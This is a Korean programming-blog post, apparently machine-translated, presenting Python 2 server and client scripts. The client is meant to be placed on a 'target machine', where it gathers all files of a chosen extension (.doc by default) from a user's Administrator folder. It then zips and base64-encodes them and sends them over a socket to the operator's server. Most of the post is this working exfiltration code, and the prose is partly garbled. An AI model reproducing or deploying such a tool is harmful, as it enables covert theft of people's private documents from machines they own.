python 클라이언트에서 지정한 파일을 가져와 서버로 전송하는 방법

5763 단어
본고는python이 클라이언트에서 지정한 파일을 가져와 서버로 전송하는 방법을 실례로 기술하였다.여러분에게 참고할 수 있도록 나누어 드리겠습니다.구체적인 분석은 다음과 같다.
이 프로그램은 목표 기계의 어떤 디렉터리(제어할 수 있는)의 모든 유형의 파일(제어할 수 있는)을 모두 획득하여 자기 측의 기계에 전달하는 것을 실현했다.
1,base64의 encode(infile,outfile) 암호화와 decode(infile,outfile) 복호화를 사용했습니다. 이것은 2진 암호화 복호화 2,zip 압축 3, socket 중 서버입니다.py는 자신의python 서버에 둔다.py, 그리고client.py를 목표 기계에 놓고pythonclient.py는 4입니다. 이 프로그램은 doc 파일을 가져오도록 설정했습니다. extName을 수정하면 다른 형식의 파일을 얻을 수 있습니다.
서버 측 프로그램:

   # -*- coding: cp936 -*- 
  
import socket
import win32com.client
import os
import zipfile
import codecs
import base64
def main():
    HOST = '127.0.0.1'
    PORT = 2000
    BUF_SIZE = 6553500 #6M
    key = 'ouyang'
    timeout = 5
    dicName = "ouyang\\"
    ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        ss.bind((HOST,PORT))
        ss.listen(5)
        print "wating for conntecting..."
        while True:
            try:
                cs,addr = ss.accept()
                socket.setdefaulttimeout(timeout)
                cs.send("200 Connected!")
                #
                encode_data = cs.recv(BUF_SIZE)
                # out.zip
                tmpfile = open('out.tmp','wb')
                try:
                    tmpfile.write(encode_data)
                    tmpfile.close()
                except IOError,e:
                    print 'Strange error creating IOError:%s' % e 
                    tmpfile.close()
                finally:
                    tmpfile.close()
                #base64 decode 2 decode(infile,outfile)
                tmpfile = open('out.tmp','rb')
                outfile = open('out.zip','wb')
                base64.decode(tmpfile,outfile)
                tmpfile.close()
                outfile.close()
                # zip
                zfile = zipfile.ZipFile('out.zip','r')
                # zip
                if not os.path.exists(dicName):
                    os.mkdir(dicName)
                for f in zfile.namelist():
                    data = zfile.read(f)
                    file = open(dicName+os.path.basename(f),'w+b')
                    file.write(data)
                    file.close()
                print "finished!!!"
                zfile.close()
                #
                os.remove('out.tmp')
                cs.close()
            except socket.error, e: 
                print 'Strange error creating socket:%s' % e 
                cs.close()
        ss.close()
    except socket.error, e:
        print 'Strange error creating socket:%s' % e 
        ss.close()
if __name__=='__main__':
    main()

클라이언트 프로그램:

   # -*- coding: cp936 -*- 
  
import socket
import win32com.client
import win32api
import os
import time
import zipfile
import codecs
import base64
def walk_dir(dir,filelist,extName,topdown=True):
    for root, dirs, files in os.walk(dir, topdown):
        for name in files:
            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
                filelist.append(os.path.join(root,name))     
        for name in dirs:
            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
                filelist.append(os.path.join(root,name))
def main():      
    HOST = '127.0.0.1'
    PORT = 2000
    BUF_SIZE = 65535
    key = 'ouyang'
    dicName = "C:\Documents and Settings\Administrator\ "
    extName = '.doc'
    # doc
    try:
        filelist = []
        walk_dir(dicName,filelist,extName)
    except IOError,e:
        print " : " % e
        sys.exit(-1)
    cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        cs.connect((HOST,PORT))
        print cs.recv(BUF_SIZE)
        # zip
        zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)
        for f in filelist:
            zfile.write(f)
        zfile.close()
        #base 2 encode(infile,outfile)
        infile = open('in.zip','rb')
        tmpfile = open('in.tmp','wb')
        base64.encode(infile,tmpfile)
        infile.close()
        tmpfile.close()
        #send
        tmpfile = open('in.tmp','rb')
        cs.send(tmpfile.read())
        tmpfile.close()
        #
        os.remove('in.tmp')
        cs.close()
    except socket.error ,e:
        print 'socket :' % e
        cs.close()
if __name__=='__main__':
    main()

본 논문이 여러분의 Python 프로그램 설계에 도움이 되기를 바랍니다.

좋은 웹페이지 즐겨찾기